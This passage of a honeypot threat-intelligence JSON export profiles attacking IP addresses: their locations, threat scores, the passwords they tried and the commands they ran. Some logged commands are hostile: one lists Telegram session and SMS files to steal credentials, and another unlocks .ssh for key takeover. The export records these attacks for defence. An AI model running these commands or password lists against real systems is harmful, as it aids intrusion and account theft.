        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Gaza",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:00:43.783000+00:00",
        "last_seen_30d": "2026-03-04T20:23:44.857000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "209.38.24.16": {
      "attack_count": 116,
      "first_seen": "2026-03-02T11:53:52.079Z",
      "last_seen": "2026-03-02T12:11:44.753Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:53:52.079000+00:00",
        "last_seen_30d": "2026-03-02T12:12:52.508000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 43
      }
    },
    "80.94.95.116": {
      "attack_count": 115,
      "first_seen": "2026-03-02T04:24:45.680Z",
      "last_seen": "2026-03-25T18:49:50.958Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "adm",
        "array",
        "guest",
        "lab",
        "nutanix",
        "oracle",
        "pi",
        "usuario",
        "uucp"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "topo133",
        "",
        "!QAZ2wsx#EDC",
        "4dm1n",
        "abcd1234",
        "adminpass",
        "alpine",
        "guest",
        "lab123",
        "live",
        "nutanix/4u",
        "oracle",
        "raspberry",
        "usuario",
        "uucp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.direct-tcpip.data",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 45.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:24:45.680000+00:00",
        "last_seen_30d": "2026-03-25T18:50:55.602000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 60
      }
    },
    "167.172.105.54": {
      "attack_count": 110,
      "first_seen": "2026-03-14T22:36:31.181Z",
      "last_seen": "2026-03-14T22:54:19.747Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456",
        "root1234567",
        "root12345678",
        "root123456789"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:36:31.181000+00:00",
        "last_seen_30d": "2026-03-14T22:55:20.277000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 47
      }
    },
    "3.130.168.2": {
      "attack_count": 105,
      "first_seen": "2026-03-04T18:22:03.998Z",
      "last_seen": "2026-03-28T15:30:44.099Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10333,
        "days_active_30d": 30,
        "ports_targeted_30d": 169,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T03:20:36.823000+00:00",
        "last_seen_30d": "2026-03-31T21:11:53.082000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6666,
        "Honeytrap": 3181,
        "Dionaea": 135,
        "Cowrie": 105,
        "Redishoneypot": 104,
        "Mailoney": 95,
        "Ipphoney": 9,
        "ConPot": 8,
        "Ciscoasa": 6,
        "ElasticPot": 6,
        "Tanner": 6,
        "Honeyaml": 5,
        "H0neytr4p": 4,
        "CitrixHoneypot": 3
      }
    },
    "122.194.13.111": {
      "attack_count": 84,
      "first_seen": "2026-03-07T05:15:27.236Z",
      "last_seen": "2026-03-11T02:30:58.239Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:15:27.236000+00:00",
        "last_seen_30d": "2026-03-11T02:32:01.528000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 42
      }
    },
    "142.93.149.28": {
      "attack_count": 55,
      "first_seen": "2026-03-05T19:08:08.688Z",
      "last_seen": "2026-03-05T19:16:46.600Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "1234567",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:08:08.688000+00:00",
        "last_seen_30d": "2026-03-05T19:17:47.951000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 23
      }
    },
    "110.39.231.36": {
      "attack_count": 50,
      "first_seen": "2026-03-23T22:37:46.236Z",
      "last_seen": "2026-03-23T22:43:10.703Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T22:37:46.236000+00:00",
        "last_seen_30d": "2026-03-23T22:44:13.247000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.3": {
      "attack_count": 50,
      "first_seen": "2026-03-04T14:45:46.720Z",
      "last_seen": "2026-03-04T14:51:14.019Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:45:46.720000+00:00",
        "last_seen_30d": "2026-03-04T14:52:15.321000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.105.199": {
      "attack_count": 48,
      "first_seen": "2026-03-29T07:46:44.686Z",
      "last_seen": "2026-03-29T07:51:57.150Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T07:46:44.686000+00:00",
        "last_seen_30d": "2026-03-29T07:53:01.909000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "112.163.119.199": {
      "attack_count": 36,
      "first_seen": "2026-03-30T16:49:11.367Z",
      "last_seen": "2026-03-30T16:51:07.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T16:49:11.367000+00:00",
        "last_seen_30d": "2026-03-30T16:52:16.224000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "188.166.32.135": {
      "attack_count": 35,
      "first_seen": "2026-03-19T10:59:19.353Z",
      "last_seen": "2026-03-19T11:05:44.280Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "admin2026",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:59:19.353000+00:00",
        "last_seen_30d": "2026-03-19T11:06:46.247000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "20.219.107.73": {
      "attack_count": 26,
      "first_seen": "2026-03-05T21:00:41.767Z",
      "last_seen": "2026-03-07T18:31:29.509Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234567890",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:33:26.666000+00:00",
        "last_seen_30d": "2026-03-08T18:56:02.073000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 19
      }
    },
    "103.248.120.6": {
      "attack_count": 23,
      "first_seen": "2026-03-26T06:11:57.493Z",
      "last_seen": "2026-03-26T06:12:04.108Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "lisa",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "lisa"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Meerut",
      "asn": 133676,
      "as_org": "Precious netcom pvt ltd",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T06:11:57.493000+00:00",
        "last_seen_30d": "2026-03-26T06:13:14.061000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "38.188.160.170": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:16:06.610Z",
      "last_seen": "2026-03-11T00:10:06.573Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "gilou",
        "nala",
        "reivilo",
        "sherpa"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:16:06.610000+00:00",
        "last_seen_30d": "2026-03-11T00:11:08.438000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "160.72.54.150": {
      "attack_count": 17,
      "first_seen": "2026-03-28T16:06:34.015Z",
      "last_seen": "2026-03-29T08:37:46.855Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "12345"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Wilmington",
      "asn": 401539,
      "as_org": "Corvex, Inc.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:06:34.015000+00:00",
        "last_seen_30d": "2026-03-29T08:38:51.464000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 10
      }
    },
    "175.107.237.56": {
      "attack_count": 16,
      "first_seen": "2026-03-20T17:32:56.105Z",
      "last_seen": "2026-03-20T17:34:39.577Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T17:32:56.105000+00:00",
        "last_seen_30d": "2026-03-20T17:35:49.525000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "101.96.230.167": {
      "attack_count": 15,
      "first_seen": "2026-03-21T07:01:32.002Z",
      "last_seen": "2026-03-21T07:01:39.840Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T07:01:32.002000+00:00",
        "last_seen_30d": "2026-03-21T07:02:43.283000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "185.220.101.110": {
      "attack_count": 15,
      "first_seen": "2026-03-04T16:44:10.270Z",
      "last_seen": "2026-03-08T10:51:36.318Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "emo",
        "issabel",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2026@Washere2026",
        "ItsemoemoWashere2026support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:44:10.270000+00:00",
        "last_seen_30d": "2026-03-08T10:52:45.838000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 15,
        "H0neytr4p": 4
      }
    },
    "185.244.27.127": {
      "attack_count": 15,
      "first_seen": "2026-03-18T04:16:56.490Z",
      "last_seen": "2026-03-18T04:17:13.891Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "D\u00fcsseldorf",
      "asn": 56382,
      "as_org": "vServer.site LTD",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:16:56.490000+00:00",
        "last_seen_30d": "2026-03-18T04:18:20.389000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "185.246.128.171": {
      "attack_count": 12,
      "first_seen": "2026-03-15T20:45:14.168Z",
      "last_seen": "2026-03-17T07:12:56.649Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "0",
        "ui"
      ],
      "passwords_attempted": [
        "0",
        "ui"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:45:14.168000+00:00",
        "last_seen_30d": "2026-03-17T07:13:59.747000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 12
      }
    },
    "64.62.197.92": {
      "attack_count": 12,
      "first_seen": "2026-03-13T04:31:53.960Z",
      "last_seen": "2026-03-21T01:31:16.127Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T02:32:06+00:00",
        "last_seen_30d": "2026-03-31T15:05:56.483000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 163,
        "Honeytrap": 81,
        "Miniprint": 16,
